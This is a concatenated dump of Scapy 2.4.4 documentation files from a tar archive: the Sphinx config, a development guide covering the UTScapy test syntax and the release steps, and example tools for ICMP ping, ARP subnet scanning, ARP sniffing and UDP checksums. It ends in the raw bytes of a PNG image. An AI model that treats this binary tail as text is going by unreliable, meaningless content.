scapy-2.4.4/doc/scapy/conf.py000066400000000000000000000126331372370053500160350ustar00rootroot00000000000000# -*- coding: utf-8 -*- # # Scapy documentation build configuration file, created by # sphinx-quickstart on Wed Mar 07 19:02:35 2018. # # This file is execfile()d with the current directory set to its # containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. import datetime # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. # import os import sys sys.path.insert(0, os.path.abspath('../../')) sys.path.append(os.path.abspath('_ext')) # -- General configuration ------------------------------------------------ # If your documentation needs a minimal Sphinx version, state it here. # needs_sphinx = '2.2.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ 'sphinx.ext.autodoc', 'sphinx.ext.napoleon', 'scapy_doc' ] # Autodoc configuration autodoc_inherit_docstrings = False autodoc_default_options = { 'undoc-members': True } # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: # # source_suffix = ['.rst', '.md'] source_suffix = '.rst' # The master toctree document. master_doc = 'index' # General information about the project. project = 'Scapy' year = datetime.datetime.now().year copyright = '2008-%s Philippe Biondi and the Scapy community' % year # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. from scapy import VERSION, VERSION_MAIN # The short X.Y version. release = VERSION_MAIN # The full version, including alpha/beta/rc tags. version = VERSION # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set "language" from the command line for these cases. language = None # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This patterns also effect to html_static_path and html_extra_path exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # If true, `todo` and `todoList` produce output, else they produce nothing. todo_include_todos = False # -- Options for HTML output ---------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # html_theme = 'sphinx_rtd_theme' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. # # html_theme_options = {} # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # Custom sidebar templates, must be a dictionary that maps document names # to template names. # # This is required for the alabaster theme # refs: http://alabaster.readthedocs.io/en/latest/installation.html#sidebars html_sidebars = { '**': [ 'relations.html', # needs 'show_related': True theme option to display 'searchbox.html', ] } # Make :manpage directive work on HTML output. manpages_url = 'https://manpages.debian.org/{path}' # -- Options for HTMLHelp output ------------------------------------------ # Output file base name for HTML help builder. htmlhelp_basename = 'Scapydoc' # -- Options for LaTeX output --------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # 'papersize': 'a4paper', # The font size ('10pt', '11pt' or '12pt'). # 'pointsize': '11pt', # Additional stuff for the LaTeX preamble. # # 'preamble': '', # Latex figure (float) alignment # # 'figure_align': 'htbp', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, # author, documentclass [howto, manual, or own class]). latex_documents = [ ('index', 'Scapy.tex', 'Scapy Documentation', 'Philippe Biondi and the Scapy community', 'manual'), ] # -- Options for manual page output --------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ (master_doc, 'scapy', 'Scapy Documentation', ['Philippe Biondi and the Scapy community'], 1) ] # -- Options for Texinfo output ------------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ (master_doc, 'Scapy', 'Scapy Documentation', 'Philippe Biondi and the Scapy community', 'Scapy', '', 'Miscellaneous'), ] scapy-2.4.4/doc/scapy/development.rst000066400000000000000000000351101372370053500176050ustar00rootroot00000000000000***************** Scapy development ***************** Project organization ==================== Scapy development uses the Git version control system. Scapy's reference repository is at https://github.com/secdev/scapy/. Project management is done with `Github `_. It provides a freely editable `Wiki `_ (please contribute!) that can reference tickets, changesets, files from the project. It also provides a ticket management service that is used to avoid forgetting patches or bugs. How to contribute ================= * Found a bug in Scapy? `Add a ticket `_. * Improve this documentation. * Program a new layer and share it on the mailing list, or create a pull request. * Contribute new `regression tests `_. * Upload packet samples for new protocols on the `packet samples page `_. Improve the documentation ========================= The documentation can be improved in several ways by: * Adding docstrings to the source code. * Adding usage examples to the documentation. Adding Docstrings ----------------- The Scapy source code has few explanations of what a function is doing. A docstring, by adding explanation and expected input and output parameters, helps saving time for both the layer developers and the users looking for advanced features. An example of docstring from the ``scapy.fields.FlagsField`` class: :: class FlagsField(BitField): """ Handle Flag type field Make sure all your flags have a label Example: >>> from scapy.packet import Packet >>> class FlagsTest(Packet): fields_desc = [FlagsField("flags", 0, 8, ["f0", "f1", "f2", "f3", "f4", "f5", "f6", "f7"])] >>> FlagsTest(flags=9).show2() ###[ FlagsTest ]### flags = f0+f3 >>> FlagsTest(flags=0).show2().strip() ###[ FlagsTest ]### flags = :param name: field's name :param default: default value for the field :param size: number of bits in the field :param names: (list or dict) label for each flag, Least Significant Bit tag's name is written first """ It will contain a short one-line description of the class followed by some indications about its usage. You can add a usage example if it makes sense using the `doctest `_ format. Finally, the classic python signature can be added following the `sphinx documentation `_. This task works in pair with writing non regression unit tests. Documentation ------------- A way to improve the documentation content is by keeping it up to date with the latest version of Scapy. You can also help by adding usage examples of your own or directly gathered from existing online Scapy presentations. Testing with UTScapy ==================== What is UTScapy? ---------------- UTScapy is a small Python program that reads a campaign of tests, runs the campaign with Scapy and generates a report indicating test status. The report may be in one of four formats, text, ansi, HTML or LaTeX. Three basic test containers exist with UTScapy, a unit test, a test set and a test campaign. A unit test is a list of Scapy commands that will be run by Scapy or a derived work of Scapy. Evaluation of the last command in the unit test will determine the end result of the individual unit test. A test set is a group of unit tests with some association. A test campaign consists of one or more test sets. Test sets and unit tests can be given keywords to form logical groupings. When running a campaign, tests may be selected by keyword. This allows the user to run tests within the desired grouping. For each unit test, test set and campaign, a CRC32 of the test is calculated and displayed as a signature of that test. This test signature is sufficient to determine that the actual test run was the one expected and not one that has been modified. In case your dealing with evil people that try to modify or corrupt the file without changing the CRC32, a global SHA1 is computed on the whole file. Syntax of a Test Campaign ------------------------- Table 1 shows the syntax indicators that UTScapy is looking for. The syntax specifier must appear as the first character of each line of the text file that defines the test. Text descriptions that follow the syntax specifier are arguments interpreted by UTScapy. Lines that appear without a leading syntax specifier will be treated as Python commands, provided they appear in the context of a unit test. Lines without a syntax specifier that appear outside the correct context will be rejected by UTScapy and a warning will be issued. ================ ================= Syntax Specifier Definition ================ ================= ‘%’ Give the test campaign's name. ‘+’ Announce a new test set. ‘=’ Announce a new unit test. ‘~’ Announce keywords for the current unit test. ‘*’ Denotes a comment that will be included in the report. ‘#’ Testcase annotations that are discarded by the interpreter. ================ ================= Table 1 - UTScapy Syntax Specifiers Comments placed in the test report have a context. Each comment will be associated with the last defined test container - be it an individual unit test, a test set or a test campaign. Multiple comments associated with a particular container will be concatenated together and will appear in the report directly after the test container announcement. General comments for a test file should appear before announcing a test campaign. For comments to be associated with a test campaign, they must appear after the declaration of the test campaign but before any test set or unit test. Comments for a test set should appear before the definition of the set’s first unit test. The generic format for a test campaign is shown in the following table:: % Test Campaign Name * Comment describing this campaign + Test Set 1 * comments for test set 1 = Unit Test 1 ~ keywords * Comments for unit test 1 # Python statements follow a = 1 print a a == 1 Python statements are identified by the lack of a defined UTScapy syntax specifier. The Python statements are fed directly to the Python interpreter as if one is operating within the interactive Scapy shell (``interact``). Looping, iteration and conditionals are permissible but must be terminated by a blank line. A test set may be comprised of multiple unit tests and multiple test sets may be defined for each campaign. It is even possible to have multiple test campaigns in a particular test definition file. The use of keywords allows testing of subsets of the entire campaign. For example, during the development of a test campaign, the user may wish to mark new tests under development with the keyword “debugâ€. Once the tests run successfully to their desired conclusion, the keyword “debug†could be removed. Keywords such as “regression†or “limited†could be used as well. It is important to note that UTScapy uses the truth value from the last Python statement as the indicator as to whether a test passed or failed. Multiple logical tests may appear on the last line. If the result is 0 or False, the test fails. Otherwise, the test passes. Use of an assert() statement can force evaluation of intermediate values if needed. The syntax for UTScapy is shown in Table 3 - UTScapy command line syntax:: [root@localhost scapy]# ./UTscapy.py –h Usage: UTscapy [-m module] [-f {text|ansi|HTML|LaTeX}] [-o output_file] [-t testfile] [-k keywords [-k ...]] [-K keywords [-K ...]] [-l] [-d|-D] [-F] [-q[q]] -l : generate local files -F : expand only failed tests -d : dump campaign -D : dump campaign and stop -C : don't calculate CRC and SHA -q : quiet mode -qq : [silent mode] -n : only tests whose numbers are given (eg. 1,3-7,12) -m : additional module to put in the namespace -k ,,... : include only tests with one of those keywords (can be used many times) -K ,,... : remove tests with one of those keywords (can be used many times) Table 3 - UTScapy command line syntax All arguments are optional. Arguments that have no associated argument value may be strung together (i.e. ``–lqF``). If no testfile is specified, the test definition comes from . Similarly, if no output file is specified it is directed to . The default output format is “ansiâ€. Table 4 lists the arguments, the associated argument value and their meaning to UTScapy. ========== ============== ============================================================================= Argument Argument Value Meaning to UTScapy ========== ============== ============================================================================= -t testfile Input test file defining test campaign (default = ) -o output_file File for output of test campaign results (default = ) -f test ansi, HTML, LaTeX, Format out output report (default = ansi) -l Generate report associated files locally. For HTML, generates JavaScript and the style sheet -F Failed test cases will be initially expanded by default in HTML output -d Print a terse listing of the campaign before executing the campaign -D Print a terse listing of the campaign and stop. Do not execute campaign -C Do not calculate test signatures -q Do not update test progress to the screen as tests are executed -qq Silent mode -n testnum Execute only those tests listed by number. Test numbers may be retrieved using –d or –D. Tests may be listed as a comma separated list and may include ranges (e.g. 1, 3-7, 12) -m module Load module before executing tests. Useful in testing derived works of Scapy. Note: Derived works that are intended to execute as "__main__" will not be invoked by UTScapy as “__main__â€. -k kw1, kw2, ... Include only tests with keyword “kw1â€. Multiple keywords may be specified. -K kw1, kw2, ... Exclude tests with keyword “kw1â€. Multiple keywords may be specified. ========== ============== ============================================================================= Table 4 - UTScapy parameters Table 5 shows a simple test campaign with multiple tests set definitions. Additionally, keywords are specified that allow a limited number of test cases to be executed. Notice the use of the ``assert()`` statement in test 3 and 5 used to check intermediate results. Tests 2 and 5 will fail by design. :: % Example Test Campaign # Comment describing this campaign # # To run this campaign, try: # ./UTscapy.py -t example_campaign.txt -f html -o example_campaign.html -F # * This comment is associated with the test campaign and will appear * in the produced output. + Test Set 1 = Unit Test 1 ~ test_set_1 simple a = 1 print a = Unit test 2 ~ test_set_1 simple * this test will fail b = 2 a == b = Unit test 3 ~ test_set_1 harder a = 1 b = 2 c = "hello" assert (a != b) c == "hello" + Test Set 2 = Unit Test 4 ~ test_set_2 harder b = 2 d = b d is b = Unit Test 5 ~ test_set_2 harder hardest a = 2 b = 3 d = 4 e = (a * b)**d # The following statement evaluates to False but is not last; continue e == 6 # assert evaluates to False; stop test and fail assert (e == 7) e == 1296 = Unit Test 6 ~ test_set_2 hardest print e e == 1296 To see an example that is targeted to Scapy, go to http://www.secdev.org/projects/UTscapy. Cut and paste the example at the bottom of the page to the file ``demo_campaign.txt`` and run UTScapy against it:: ./test/run_tests -t demo_campaign.txt -f html -o demo_campaign.html -F -l Examine the output generated in file ``demo_campaign.html``. Using tox to test Scapy ----------------------- The ``tox`` command simplifies testing Scapy. It will automatically create virtual environments and install the mandatory Python modules. For example, on a fresh Debian installation, the following command will start all Scapy unit tests automatically without any external dependency:: tox -- -K vcan_socket -K tcpdump -K tshark -K nmap -K manufdb -K crypto VIM syntax highlighting for .uts files -------------------------------------- Copy all files from ``scapy/doc/syntax/vim_uts_syntax/ftdetect`` and ``scapy/doc/syntax/vim_uts_syntax/syntax`` into ``~/.vim/`` and preserve the folder structure. If ftdetect/filetype.vim already exists, you might need to modify this file manually. These commands will do the installation:: cp -i -v ftdetect/filetype.vim $HOME/.vim/ftdetect/filetype.vim cp -i -v ftdetect/uts.vim $HOME/.vim/ftdetect/uts.vim cp -i -v syntax/uts.vim $HOME/.vim/syntax/uts.vim Alternatively, a install script in ``scapy/doc/syntax/vim_uts_syntax/`` does the installation automatically. Releasing Scapy =============== Under the hood, a Scapy release is represented as a signed git tag. Prior to signing a commit, the maintainer that wishes to create a release must: * check that the corresponding Travis and AppVeyor tests pass * run ``./run_scapy`` locally * run ``tox`` * run unit tests on BSD using the Vagrant setup from ``scapy/doc/vagrant_ci/`` Taking v2.4.3 as an example, the following commands can be used to sign and publish the release:: git tag -s v2.4.3 -m "Release 2.4.3" git tag v2.4.3 -v git push --tags Release Candidates (RC) could also be done. For example, the first RC will be tagged v2.4.3rc1 and the message ``2.4.3 Release Candidate #1``. Prior to uploading the release to PyPi, the ``author_email`` in ``setup.py`` must be changed to the address of the maintainer performing the release. The following commands can then be used:: python3 setup.py sdist twine check dist/scapy-2.4.3.tar.gz twine upload dist/scapy-2.4.3.tar.gz scapy-2.4.4/doc/scapy/extending.rst000066400000000000000000000072051372370053500172540ustar00rootroot00000000000000******************** Build your own tools ******************** You can use Scapy to make your own automated tools. You can also extend Scapy without having to edit its source file. If you have built some interesting tools, please contribute back to the github wiki ! Using Scapy in your tools ========================= You can easily use Scapy in your own tools. Just import what you need and do it. This first example takes an IP or a name as first parameter, send an ICMP echo request packet and display the completely dissected return packet:: #! /usr/bin/env python import sys from scapy.all import sr1,IP,ICMP p=sr1(IP(dst=sys.argv[1])/ICMP()) if p: p.show() This is a more complex example which does an ARP ping and reports what it found with LaTeX formatting:: #! /usr/bin/env python # arping2tex : arpings a network and outputs a LaTeX table as a result import sys if len(sys.argv) != 2: print "Usage: arping2tex \n eg: arping2tex 192.168.1.0/24" sys.exit(1) from scapy.all import srp,Ether,ARP,conf conf.verb=0 ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=sys.argv[1]), timeout=2) print r"\begin{tabular}{|l|l|}" print r"\hline" print r"MAC & IP\\" print r"\hline" for snd,rcv in ans: print rcv.sprintf(r"%Ether.src% & %ARP.psrc%\\") print r"\hline" print r"\end{tabular}" Here is another tool that will constantly monitor all interfaces on a machine and print all ARP request it sees, even on 802.11 frames from a Wi-Fi card in monitor mode. Note the store=0 parameter to sniff() to avoid storing all packets in memory for nothing:: #! /usr/bin/env python from scapy.all import * def arp_monitor_callback(pkt): if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%") sniff(prn=arp_monitor_callback, filter="arp", store=0) For a real life example, you can check `Wifitap `_. Sadly, Wifitap is no longer maintained but nonetheless demonstrates Scapy's Wi-Fi capabilities. The code can be retrieved from `github `_. Extending Scapy with add-ons ============================ If you need to add some new protocols, new functions, anything, you can write it directly into Scapy's source file. But this is not very convenient. Even if those modifications are to be integrated into Scapy, it can be more convenient to write them in a separate file. Once you've done that, you can launch Scapy and import your file, but this is still not very convenient. Another way to do that is to make your file executable and have it call the Scapy function named interact():: #! /usr/bin/env python # Set log level to benefit from Scapy warnings import logging logger = logging.getLogger("scapy") logger.setLevel(logging.INFO) logger.addHandler(logging.StreamHandler()) from scapy.all import * class Test(Packet): name = "Test packet" fields_desc = [ ShortField("test1", 1), ShortField("test2", 2) ] def make_test(x,y): return Ether()/IP()/Test(test1=x,test2=y) if __name__ == "__main__": interact(mydict=globals(), mybanner="Test add-on v3.14") If you put the above listing in the test_interact.py file and make it executable, you'll get:: # ./test_interact.py Welcome to Scapy (0.9.17.109beta) Test add-on v3.14 >>> make_test(42,666) >> scapy-2.4.4/doc/scapy/functions.rst000066400000000000000000000022201372370053500172670ustar00rootroot00000000000000*********************** Calling Scapy functions *********************** This section provides some examples that show how to benefit from Scapy functions in your own code. UDP checksum ============ The following example explains how to use the checksum() function to compute and UDP checksum manually. The following steps must be performed: 1. compute the UDP pseudo header as described in RFC768 2. build a UDP packet with Scapy with p[UDP].chksum=0 3. call checksum() with the pseudo header and the UDP packet :: from scapy.all import * # Get the UDP checksum computed by Scapy packet = IP(dst="10.11.12.13", src="10.11.12.14")/UDP()/DNS() packet = IP(raw(packet)) # Build packet (automatically done when sending) checksum_scapy = packet[UDP].chksum # Set the UDP checksum to 0 and compute the checksum 'manually' packet = IP(dst="10.11.12.13", src="10.11.12.14")/UDP(chksum=0)/DNS() packet_raw = raw(packet) udp_raw = packet_raw[20:] # in4_chksum is used to automatically build a pseudo-header chksum = in4_chksum(socket.IPPROTO_UDP, packet[IP], udp_raw) # For more infos, call "help(in4_chksum)" assert(checksum_scapy == chksum) scapy-2.4.4/doc/scapy/graphics/000077500000000000000000000000001372370053500163315ustar00rootroot00000000000000scapy-2.4.4/doc/scapy/graphics/ATMT_HelloWorld.png000066400000000000000000000160661372370053500217500ustar00rootroot00000000000000‰PNG  IHDR…—kTDïbKGDÿÿÿÿÿÿ X÷Ü pHYsHHFÉk>IDATxÚíÝy\OÙÿðW!I(Ë%û–d4% ©É>C”3Rd±/ckb0cùáËD%!c'k(d!ûˆT 1hQJéþþ8÷Ì"·åS÷ó©÷óñ˜ÇÛÜîý|νuß÷ÜsÏ9WKBr¡­t!ê!DVY¹²b³b³b³FgþôSº¸$¿¬¯Z_5ë èÚèÚèÚ(]¢©´äÚ("D6¸{°ˆ¶ˆnîÀ–iŸRºØ$¯‚œ‚œŽŒ\vºììr[éÒM%[£ø˜÷ûÅ,WºøäSš&*]RRP!D% Bˆ,J„Y”(!²(QBdQ¢ „È¢DA‘E‰‚"‹!D% Bˆ,J„Y”(!² 4(LUÞ¾eqΜ\ '–îË/Yüúëì??|˜Å'òö}3f°X½zöåwï²xè‹ññ,³øý÷,fß.4”Ŭ,ííYܲ…E}}?^žÙ³Y\°@ÕG–ÕR´F‘žÎb@‹_|Á¢¥%‹Mš°8o^öõ¸ðp_¿Î¾}n±|yù úY³Xä (9™E33£¢X´²b1!!û÷GD°xéRöå²èîÎ"O<9­^]¬‡›S´FÁUªÄâ€ÿyJ ‹üÊŸ?‘sÛ>§mÛXä‰&2’E=½ì빺²˜”ÄâŽ,Ž‘·ïéÙ“Å™3YÜ´©èŽ!!EI-Å߳ؽ{öå©©Ù~áÂÇ·_µŠÅ½{?ý=üDݰÅ%KXÌ™ ròõ-Ø~ñĵ\œ·ãâEÛ¶Uéá#¤È©E¢à÷þüžã‰‚·-„„°˜³æÀ¯Ü¹µäüž˜›6ýøz÷ï³Èo¸®]Yœ;7oû¥¥ÅâÊ•,òš¯É¢)Ô"QT¨À"o´ÌéÉy"g¢hÔèÓÛçÄ×?{–Ežh8Þˆùûï,ò6‡›7 ¶­Z±Èo‘è„hx<ÊÛLLTóy^^,ŽÃâ®],¦¥±È—‘‹üiHay{³ÈoExc.!êN-Et4‹üJÎc­Z,ò§ ßžßšäÜ>gäßÓ®‹ûö±Èb½zÙ×ïߟÅ)ST³ŸüÖgòdyb"Dí 2®×¿^ÿN È¢0QŒEuŽM!È)ÈéXs¹ß2!Ÿ¦5 Bˆz£DA‘E‰‚"‹!D% Bˆ,J„Y”(!²(QBdQ¢ „È¢DA‘U Ñ£§­ÅlWºø…W7HèÄZÜP½°Ÿª&z(]RRÈ&ŠŠu+Ö­àTÜ[qo­ÆlÙ€<ÎÇ  †.K±yXSK/Ê_ H ÒJI[¥t©Td.`øÔði¥,¥ B4ô¡tA”òÓOZZ?ýLµxÑcª çXýž£Ò¥"D½P!D% Bˆ,J„Y”(!²(QBdQ¢ „È¢DA‘E‰‚"‹!D% Bˆ,J„Y”(!²(QBdQ¢ „È¢DA‘E‰‚"‹!D% Bˆ,J„Y”(!²(Q“E‹-Z´HJJJJJ²²²²²²€k×®]»v­àŸûìÙ³gÏž^^^^^^@ddddd¤Ò{«z¯_¿~ýú5ððáÇJËCBBBBB€“'OžjÕªU«V-¥÷Võ€¹sçÎûŸ×E\¸páÂ… À¥K—.]º$ÿ9µk×®]»6P¶lÙ²e ôV›Ò©Œ—¿•.“&Mš4i9ñ…̉€]Ü´ÆvqÀLŸ¹Îô‘®ø5jÔ¨°}ûöíÛ·Q?Fýõ#ñ>â}Ä{éDݽ{÷îÝ»äääääd U«V­Zµ´´´´´´€M›6mÚ´ èÔ©S§N¤?ø3gΜ9søçŸþùç G=zäáÅ=çÎ;wî°xñâÅ‹/_¾|ùò%жmÛ¶mÛJ5 ^“Ù±cÇŽ;€„„„„„©|©©©©©©À„ &L˜ %²ýû÷ïß¿h×®]»víò~\×®]»víZ©àããããã+V¬X±"РAƒ ;wîܹs'°lÙ²eË–GŽ9rä ¯¯¯¯¯TªT©R¥JÀøñãÇܸqãÆ@•*UªT©"ï´´´´´4àôéÓ§OŸ6nܸqãFiÿøþúûûûûû666666Ry† 2dÈ N:uêÔ‘~?üó,,,,,,þr ^Þõëׯ_¿xòäÉ“'O€;wîܹsGª±Ô¯_¿~ýúJÿµ«€PJ 6lذa‚àÔpj"ÏMµ}n*ìP}úôé#3f̘1c† °Zôôôôôôa̘1cÆŒù°üyÅN8A` FØ_X„Ê•+W®\Y_]|uñUA`‰SXAŽ=zôèQAhÑ¢E‹-!xyðòàå‚ÀNpAprrrrr– aþüùóçÏA8~üøñãÇ¥ý522222„Û·oß¾}[ÌÌÌÌÌÌ!:::::Z*7K‚0mÚ´iÓ¦ ;á%(A$  ‚бcÇŽ; ¬Y³fÍš%‚°zõêÕ«WKû·aÆ 6(ýW®:¥¶òÕ³gÏž={ „À¥‹Η.®½]c]{KW¶ôôôôôtàîÝ»wïÞöôÛÓoO?À3Ê3Ê3 xþüùóçÏ¥{g~ENLLLLLÌýû mmmmmm jÕªU«VÍ{ùË—/_¾|y€àÒ8ðóÀÏ?f 5tÖP€%i;?????? Y³fÍš5¦OŸ>}út©æ³bÅŠ+VåÊ•+W®\Á¯»»»»»»TÃáØ‰ lòØä±É  ’jn¯ ùøøß}÷Ýwß}èêêêêêJûË 8pàÀÞʵiÓ¦M›6R+7ìtÚz*T¨P¡B`À€ ¦xNñœâ d¦g¦g¦ ,X°`´½¥¥¥¥¥¥t‹TÒ”Ú6 þsšýÞáÂáð@—.]ºté°+”tËÁoâÎÅ‹;ØÙÙÙÙÙIUjžø‰ ”7oÞ¼yó&÷Äëò¼ªÎñª|aÇjJ.ç )å³”ÏR>˽œÕªU«V­štkQØï“Ã9·ÏX”±(c‘T®ÜÈý\S•ÚDÁªˆ@ecö_P])A=€:tèа·····XÕVªðVvžPø•å›o¾ùæ›o¤+¿BÉÉëzyÅoà5"Ž·•ä¼Òçõ„R›a6Ãl†¿ýöÛo¿ý&‡ÌÌÌÌÌLéÞßÖÖÖÖÖ¶èŽW^U[ylå±ÒS*ÞVÂñÆä8p øËWÔJm¢à÷bÿé—ª,]áx¢à·ݺuëÖ­Я_¿~ýúI\ÖÖÖÖÖÖRco$ËÙ:Ÿ¿rרQ£F@ÿþýû÷ï_øýqsssssZ¶lÙ²eK)ò[ ÞxȉR¼õ½õ½õ+W®\¹rhÚ´iÓ¦MæÍ›7oÞ\º¥âάÍ8uêÔ©S§¤[¤âRöyÙçeŸÀ Aƒ °¶ÀÃÃÃÃÃCjü-iOUè%Åjò’â÷ïß¿ÿ>ïUmŽß³ó¨*üÊÎoeòŠŸà::::::ÅwüŠZFFFFFàëëëëë Œ1bĈ®çììììì >|øðáÒFÓ• œ§ÙbcccccÖªž÷ífÏž={öl`Ô¨Q£FR]yxÇ­Þ½{÷îÝ;ïÛ-_¾|ùò個‹‹‹‹Kñ¿¢ÆküV‰·ñð[Îðððððpé±5o4.)(Q¨ þ¼ýñãÇ?Vº4ÒÓu)ÒxΞ={öìÙ°ÇËR Þ/„·Qä|*£é(Q’<¡)]šâSê3 !ò(QBdQ¢ „È¢DA‘E‰BCðù¦L™2eÊ 88888XéR=> óÑ£G=’–>|øðáÃRÇ799ç)*¼#ÿ==xðàÁƒJÅ£D¡!ø| |L ©t©ŠÞ±cÇŽ;öá ,ÞoáêÕ«W¯^•ÿœœó•Î;wîÜYêO§ôQ,‹mܸqãÆ¥Ï¶lÙ²eËé{yÏQÞež×QN^EEEEEEÝ»wïÞ½»4ÈËÓÓÓÓÓSªäìjÌ'°ÙºuëÖ­[É“'Ož©+6ߎOôÃÝMœ8qâĉ@LLLLLŒÒeªG5Šb6tèСC‡J£TùwÅæW^~åç£\sÚ¶mÛ¶mÛ¤ƒ_‰¹Ö­[·nÝZªð„ìáW`þù|{þ_PüD·²²²²²’–óù7|,|,|,€³~gýÎúI·ëâwÀï€ß WÓ^M{5•Ʋð©8WWWWWW)Qpææææææòscò—óæÍ›7ož”0yt¯s^ç¼ÎIóðõ8>E^çìÔTT£P¯¢òªõÁƒ<(UÉÙLN¹o/7ïÿƒç'Oü–'gRÕ0sÙy(‚S‚S‚Õg ~Ë•sÛ¿óPèdèdè”Þy(8J ¹wïÞ½{÷¤+8¯¢ó›Â.÷íù¼|Èœ'sÀOH~EWZ—.\>œ‡‚Îäm-ê2…A”A”A”4‰/ŸéŒã•‡:tèÒG·èЭG1ãeüDæ÷Ò|Ôe^¯„|">Ê“Wy«>ŸçBÝÆ$,±_b¿Ä˜6)lR˜”ø½?Ÿ\˜·µð§üq(O0ÅE'^'^'^šð'gMÍ…*µ¡”´y(þ¥ô¤Jóò¼¼!eÏ‹){ŠþûØ•3ÿÛ±~Òd²E]>>én^#kÔ+úãWÜØ,Þ‚À|îë±§,‚*ý?›hGé½(¼’˜ûÔZa¯8¼|®KU¹|ùòåË—ó?ãÖš5kÖ¬Yóád¾šŽ·ñðéùù- Â'ÓåSäÕK¨—P/xûöíÛ·o•.½êP¢ÐÕ«W¯^½ºÔ€¿È¦°O)râS¹Ñ< ¿Ü·oß¾}û€™3gΜ9Sz Ÿ=üßÇ« §-œ¶Pê÷‘ó)¦¢©ðÔd*Ò¼Ñ4Í[•ß”u\mÆ-vµÖùüúõ:@×L×L·¼” j“("&_›1°mhgkÛH›9#u,¸Š â3 ½MJüÅ?*±øø>r?a~Èè±É>²Ç&¥ËHȧ)–(ÒlÒlÒl·)—=Ü€ÀÑk²G@϶†•8Ó –—ÒIE.±p«‹Œ;=Ç@;=`·«oÌnWÀ`­ÁLƒµJ•ìŠ=Q›‡Ø›_ßìrêë›`âÏ~â,&†*7•>(Å#u6‹‡ÄÄqó(ø˜lmæc xlX8˜ÀDé²’Ò®ÈÅë ¯}^OÜ&;§gîO:=\ÄŽÑ-®ˆ«6Qú`(+ÚƒEchœn9¢q:pÂtoú SÀ䩱ŸÉS¥ËHJ+Õ'Š«¸Š«Àúû[Z­¿Œ0¸ÜÈ`.¾¬¾§˜*¨ðm%I†ø6ˆÐ_X Ì[¶tͼeÀ\Ó‰5çšÚNÚNÚNü BòIe‰"fW\˜]ÀW½e IÆtOfæm}“v,¶pfñ~[“ÿf±MÜÇ·»°‚ÅVß³¨WÅãâ÷gåøþ*âH ‹h+¬TúH¢jT£x?“ÅȆ,Ö±út¬â›}ûXˆ‰">òãßs=€Å´„ìË#jfÿüÚ–,&Š g£˜˜Ò'+}¤Q5 ªQp:â`²–dV þøb3ññá¡q,ºufQë§OœöÏâ÷¾Ì¾Ü\, ö'¹.N°gí©ô‘"DU40Qð[‡€nŸ^¯‰8|»íøìËÅ.Ññz,ÞßHj>…ÒH,ÏžJ!BTMo°=þéõôeNX]ýÄcЄß2„¬\å–°˜Am¤ÄÑÀDQV~]WîÖCFÅÏX´k§ç‹?èX°Ï{)¾‡¬Êq½ˆ”Ô˜YT¬Æ°ø ‹IÃò·}Òpω¯ 2ÏÇ‹ Ñ X£Hßóµlݧ×ã7»üòéõʈ”ÝlYôþñõ2¦Šßû?qÁ<´Å©q;‹‹k¡ô"DÕò1(lÖF¶¤\\Þ>š(KÊâOuàŽñ½wŒfqMœšÑoäÝzBdå#QÜùZüµêk„•.)9dEH›ÓCÚÀn±gâïb»ÆëwJžüWÊ!·meqKÔÙ­¨C·¤pdÅWW:žþê îšîšî ï÷ýÃûÀÊ…lsß±˜ªôΔ.Â4¯`qÉ%è9ɲBÏI@’o’_’/0(½oÖ t¥ËJ4]gá¾Ñö¶Ç¶€­–Ã/¶ZÀë‹/»¾¾îâX‰Z(½s%Ó+11ogÜÍ~þ f'#ÏÚœŒìöuxi·Oé2’’¦À™æ[ø˜_^ÞÒäå}À;þ—ñÞñ°Nœaéh,‹ •ÞIÍ–%>¾ G¿®j #SÝÚLÒǤ맡AŠ–Ê_ô8îIÚã8 K…~ºTîÖ¸dw·¸žgk48ªôNk†§âH7N€juþ®V½wlVè= ¥nóê-u•.#)-TþxÔØ¤Ž®± pGï¢õ=À×a{‚¯l‡aï×LQzçÕË;±&vD¿.~ž»Ìóç¹À‹/cŸ¿ø’QF±½¤8q}âŽÄõ€óáa.·½»´Bö€s¶FKñV}”>(ÅëÁ(ŒÀ¬};³öÀ±¬]7eµÏ׺Uû¼Òe$¥]±¿Íœ;fpÌ èaçÚ-&‚q©Ç¢¹Ò§h¤ˆƒÐŠàÜy þ»ÿ0ôß ¸öqþǵmhSw8¢.ûSìz¹óà®—´µikÓÖîþ.kÝý`Å.¶Æq‚˜¬JJ¤BÚÀÂk,.©]£Ìgtg$þ”8píëüʵ/(Aµ¤X"7ׂoZ] l_~ÕÎö%4$É iØ»(]¶‚¹*‡æÇ†y8lí4Ïa«Òe#$oÔ.QpYYY€÷–ÿÛç½8eúø){¥K•MŽ7nßä8°&faÔš@çžÎ={J—ŠüQÛDAQt7L‘E‰‚"‹!D% Bˆ,J„Y”(!²(QBdQ¢ „È¢DA‘õÿÚÍ'$ŒÀ™ÑzTXtCommentxÚ5ǽ Â0нOñ í"M¨U"jp°8ÔY¢^4ÐöÊM,Ô§wòl5 $6з 